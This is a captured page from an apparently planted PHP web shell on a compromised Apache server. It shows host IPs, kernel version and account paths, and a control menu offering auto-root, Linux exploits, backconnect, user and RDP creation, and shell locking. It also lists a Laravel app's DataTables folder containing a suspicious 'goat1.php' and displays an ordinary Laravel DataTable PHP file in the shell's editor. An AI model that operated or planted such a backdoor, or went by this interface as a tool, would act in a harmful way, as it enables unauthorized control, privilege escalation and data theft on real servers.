Linux server1.signalhg.team 4.18.0-553.134.1.el8_10.x86_64 #1 SMP Tue Jun 16 16:05:57 EDT 2026 x86_64
Apache
: 209.74.80.147 | : 216.73.217.138
150 Domain
8.1.34
signgwph
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
home /
signgwph /
signaltechdemo5.com /
app /
DataTables /
[ HOME SHELL ]
Name
Size
Permission
Action
AppreciationsDataTable.php
9.96
KB
-rw-r--r--
ArchiveProjectsDataTable.php
12.47
KB
-rw-r--r--
ArchiveTasksDataTable.php
25.1
KB
-rw-r--r--
AttendanceRegularisationDataTa...
8.88
KB
-rw-r--r--
AttendanceReportDataTable.php
9.59
KB
-rw-r--r--
AwardDataTable.php
6.94
KB
-rw-r--r--
BankAccountDataTable.php
11.84
KB
-rw-r--r--
BankTransactionDataTable.php
7.29
KB
-rw-r--r--
BaseDataTable.php
1.76
KB
-rw-r--r--
ClientContactsDataTable.php
5.99
KB
-rw-r--r--
ClientGDPRDataTable.php
3.74
KB
-rw-r--r--
ClientNotesDataTable.php
8.37
KB
-rw-r--r--
ClientSubscriptionDataTable.ph...
5.67
KB
-rw-r--r--
ClientsDataTable.php
11.65
KB
-rw-r--r--
ConsentDataTable.php
3.86
KB
-rw-r--r--
ContractTemplatesDataTable.php
7.11
KB
-rw-r--r--
ContractsDataTable.php
15.39
KB
-rw-r--r--
CreditNotesDataTable.php
11.73
KB
-rw-r--r--
CustomerDataRemovalDataTable.p...
4.72
KB
-rw-r--r--
DealNotesDataTable.php
6.73
KB
-rw-r--r--
DealsDataTable.php
29.02
KB
-rw-r--r--
DepartmentDataTable.php
6.42
KB
-rw-r--r--
DesignationDataTable.php
6.37
KB
-rw-r--r--
DiscussionDataTable.php
5.6
KB
-rw-r--r--
EmployeeAppreciationDataTable....
5.13
KB
-rw-r--r--
EmployeeWiseTaskDataTable.php
6.31
KB
-rw-r--r--
EmployeesDataTable.php
22.91
KB
-rw-r--r--
EstimateRequestDataTable.php
13.33
KB
-rw-r--r--
EstimateTemplateDataTable.php
6.27
KB
-rw-r--r--
EstimatesDataTable.php
17.68
KB
-rw-r--r--
EventDataTable.php
13
KB
-rw-r--r--
ExpenseCategoryReportDataTable...
3.41
KB
-rw-r--r--
ExpenseReportDataTable.php
8.3
KB
-rw-r--r--
ExpensesDataTable.php
14.17
KB
-rw-r--r--
FinanceReportDataTable.php
7.44
KB
-rw-r--r--
HolidayDataTable.php
10.28
KB
-rw-r--r--
InvoiceRecurringDataTable.php
12.75
KB
-rw-r--r--
InvoicesDataTable.php
30.81
KB
-rw-r--r--
KnowledgeBaseDataTable.php
7.18
KB
-rw-r--r--
LabelDataTable.php
3.6
KB
-rw-r--r--
LeadContactDataTable.php
16.27
KB
-rw-r--r--
LeadDataRemovalDataTable.php
4.68
KB
-rw-r--r--
LeadFollowupDataTable.php
6.71
KB
-rw-r--r--
LeadGDPRDataTable.php
4.26
KB
-rw-r--r--
LeadNotesDataTable.php
7.48
KB
-rw-r--r--
LeadPipelineDataTable.php
6.23
KB
-rw-r--r--
LeadReportDataTable.php
8.46
KB
-rw-r--r--
LeaveDataTable.php
19.71
KB
-rw-r--r--
LeaveQuotaReportDataTable.php
8.96
KB
-rw-r--r--
LeaveReportDataTable.php
7.04
KB
-rw-r--r--
NoticeBoardDataTable.php
8.62
KB
-rw-r--r--
OrdersDataTable.php
16.69
KB
-rw-r--r--
PaymentsDataTable.php
15.62
KB
-rw-r--r--
ProductsDataTable.php
10.33
KB
-rw-r--r--
ProjectNotesDataTable.php
9.12
KB
-rw-r--r--
ProjectTemplateTasksDataTable....
6.04
KB
-rw-r--r--
ProjectTemplatesDataTable.php
8.18
KB
-rw-r--r--
ProjectsDataTable.php
33.06
KB
-rw-r--r--
ProposalDataTable.php
13.33
KB
-rw-r--r--
ProposalTemplateDataTable.php
6.43
KB
-rw-r--r--
RecurringEventDataTable.php
12.18
KB
-rw-r--r--
RecurringExpensesDataTable.php
9.03
KB
-rw-r--r--
RecurringInvoicesDataTable.php
21.61
KB
-rw-r--r--
RecurringTasksDataTable.php
39.63
KB
-rw-r--r--
SalesReportDataTable.php
10.29
KB
-rw-r--r--
ShiftChangeRequestDataTable.ph...
7.54
KB
-rw-r--r--
ShiftRotationDataTable.php
6.6
KB
-rw-r--r--
SubscriptionDataTable.php
7.53
KB
-rw-r--r--
TaskReportDataTable.php
11.84
KB
-rw-r--r--
TasksDataTable.php
43.05
KB
-rw-r--r--
TicketDataTable.php
19.89
KB
-rw-r--r--
TimeLogConsolidatedReportDataT...
12.74
KB
-rw-r--r--
TimeLogPendingWeeklyApprovalRe...
9.63
KB
-rw-r--r--
TimeLogProjectwiseReportDataTa...
9.06
KB
-rw-r--r--
TimeLogReportDataTable.php
12.6
KB
-rw-r--r--
TimeLogWeeklyApprovalReportDat...
10.05
KB
-rw-r--r--
TimeLogsDataTable.php
23.82
KB
-rw-r--r--
WaitingForApprovalDataTable.ph...
29.97
KB
-rw-r--r--
consolidatedTaskReportDataTabl...
6.03
KB
-rw-r--r--
error_log
37.37
KB
-rw-r--r--
goat1.php
143.87
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : TimeLogProjectwiseReportDataTable.php
<?php namespace App\DataTables; use App\Models\ProjectTimeLog; use Carbon\CarbonInterval; use Illuminate\Support\Facades\DB; use Yajra\DataTables\Html\Button; class TimeLogProjectwiseReportDataTable extends BaseDataTable { /** * Build DataTable class. * * @param mixed $query Results from query() method. * @return \Yajra\DataTables\DataTableAbstract */ public function dataTable($query) { // Group logs by employee $employeeLogs = $query->get()->groupBy('user_id'); return datatables()->of($employeeLogs) ->addIndexColumn() ->addColumn('id', function ($logs) { return $logs->first()->user_id; }) ->editColumn('employee_name', function ($logs) { $user = $logs->first()->user; if (!$user) { return '--'; } return view('components.employee', [ 'user' => $user ]); }) ->addColumn('projects', function ($logs) { $projectsHtml = '<ul class="list-unstyled">'; foreach ($logs->unique('project_id') as $log) { if ($log->project && $log->project->id) { $projectsHtml .= '<li class="mb-3 mt-3"> <a href="' . route('projects.show', $log->project->id) . '" class="text-darkest-grey">' . $log->project->project_name . '</a> </li>'; } else { $projectsHtml .= '<li class="mb-3 mt-3"> <span class="text-darkest-grey">--</span> </li>'; } } $projectsHtml .= '</ul>'; return $projectsHtml; }) ->addColumn('total_hours', function ($logs) { $totalHoursHtml = '<ul class="list-unstyled">'; foreach ($logs->unique('project_id') as $log) { // Sum the total minutes for this specific project $totalMinutesForProject = $logs->where('project_id', $log->project_id)->sum(function ($log) { if (is_null($log->end_time)) { return ($log->activeBreak ? $log->activeBreak->start_time->diffInMinutes($log->start_time) : now()->diffInMinutes($log->start_time) ) - $log->breaks->sum('total_minutes'); } else { return $log->total_minutes - $log->breaks->sum('total_minutes'); } }); $hours = intdiv($totalMinutesForProject, 60); $minutes = $totalMinutesForProject % 60; $formattedTime = ($hours ? $hours . 'h' : '') . ($minutes > 0 ? ' ' . sprintf('%02dm', $minutes) : ($hours ? '' : '0s')); $timeLog = '<span data-trigger="hover" data-toggle="popover" data-content="' . $log->memo . '">' . $formattedTime . '</span>'; if (is_null($log->end_time)) { $timeLog .= ' <i data-toggle="tooltip" data-original-title="' . __('app.active') . '" class="fa fa-hourglass-start" ></i>'; } else { if ($log->approved) { $timeLog .= ' <i data-toggle="tooltip" data-original-title="' . __('app.approved') . '" class="fa fa-check-circle text-primary"></i>'; } } $totalHoursHtml .= '<li class="mb-3 mt-3">' . $timeLog . '</li>'; } $totalHoursHtml .= '</ul>'; return $totalHoursHtml; }) ->addColumn('break_duration', function ($logs) { $totalBreakHtml = '<ul class="list-unstyled">'; foreach ($logs->unique('project_id') as $log) { // Sum the break durations for each project $breakDurationForProject = $logs->where('project_id', $log->project_id)->sum(function ($log) { return $log->breaks->sum('total_minutes'); }); $breakTime = CarbonInterval::formatHuman($breakDurationForProject); $totalBreakHtml .= '<li class="mb-3 mt-3">' . $breakTime . '</li>'; } $totalBreakHtml .= '</ul>'; return $totalBreakHtml; }) ->setRowId(function ($logs) { return 'row-' . $logs->first()->user_id; }) ->rawColumns(['employee_name', 'projects', 'total_hours', 'break_duration']); } /** * @param ProjectTimeLog $model * @return \Illuminate\Database\Eloquent\Builder */ public function query(ProjectTimeLog $model) { $request = $this->request(); $employee = $request->employee; $project = $request->project; $model = $model->with('user', 'project', 'task', 'breaks', 'activeBreak') ->join('users', 'users.id', '=', 'project_time_logs.user_id') ->join('employee_details', 'users.id', '=', 'employee_details.user_id') ->leftJoin('designations', 'employee_details.designation_id', '=', 'designations.id') ->leftJoin('tasks', 'tasks.id', '=', 'project_time_logs.task_id') ->leftJoin('projects', 'projects.id', '=', 'project_time_logs.project_id') ->select('project_time_logs.id', 'project_time_logs.start_time', 'project_time_logs.end_time', 'project_time_logs.total_hours', 'project_time_logs.total_minutes', 'project_time_logs.memo', 'project_time_logs.user_id', 'project_time_logs.project_id', 'project_time_logs.task_id', 'users.name', 'users.image', 'project_time_logs.hourly_rate', 'project_time_logs.earnings', 'project_time_logs.approved', 'tasks.heading', 'projects.project_name', 'projects.client_id', 'designations.name as designation_name', 'tasks.task_short_code'); if ($request->startDate !== null && $request->startDate != 'null' && $request->startDate != '') { $startDate = companyToDateString($request->startDate); if (!is_null($startDate)) { $model = $model->where(DB::raw('DATE(project_time_logs.start_time)'), '>=', $startDate); } } if ($request->endDate !== null && $request->endDate != 'null' && $request->endDate != '') { $endDate = companyToDateString($request->endDate); if (!is_null($endDate)) { $model = $model->where(DB::raw('DATE(project_time_logs.end_time)'), '<=', $endDate); } } if (!is_null($employee) && $employee !== 'all') { $model->where('project_time_logs.user_id', $employee); } if (!is_null($project) && $project !== 'all') { $model->where('projects.id', $project); } // Order by the latest time log entries $model->whereNull('tasks.deleted_at')->orderBy('project_time_logs.id', 'desc'); return $model; } /** * Optional method if you want to use html builder. * * @return \Yajra\DataTables\Html\Builder */ public function html() { $dataTable = $this->setBuilder('timelog-project-wise-table', 5) ->parameters([ 'ordering' => false, 'initComplete' => 'function () { // window.LaravelDataTables["timelog-project-wise-table"].buttons().container() // .appendTo( "#table-actions") }', 'fnDrawCallback' => 'function( oSettings ) { $(".select-picker").selectpicker(); }' ]); if (canDataTableExport()) { $dataTable->buttons(Button::make(['extend' => 'excel', 'text' => '<i class="fa fa-file-export"></i> ' . trans('app.exportExcel')])); } return $dataTable; } /** * Get columns. * * @return array */ protected function getColumns() { return [ '#' => [ 'data' => 'DT_RowIndex', 'orderable' => false, 'searchable' => false, 'visible' => true, 'title' => '#' ], __('app.id') => ['data' => 'id', 'name' => 'id', 'visible' => false, 'title' => __('app.id')], __('app.employee') => ['data' => 'employee_name', 'name' => 'user.name', 'exportable' => false, 'title' => __('app.employee')], __('app.project') => ['data' => 'projects', 'name' => 'projects.project_name', 'title' => __('app.project')], __('modules.timeLogs.totalHours') => ['data' => 'total_hours', 'name' => 'total_hours', 'title' => __('modules.timeLogs.totalHours')], __('modules.timeLogs.breakDuration') => ['data' => 'break_duration', 'name' => 'break_duration', 'title' => __('modules.timeLogs.breakDuration')], ]; } }
Close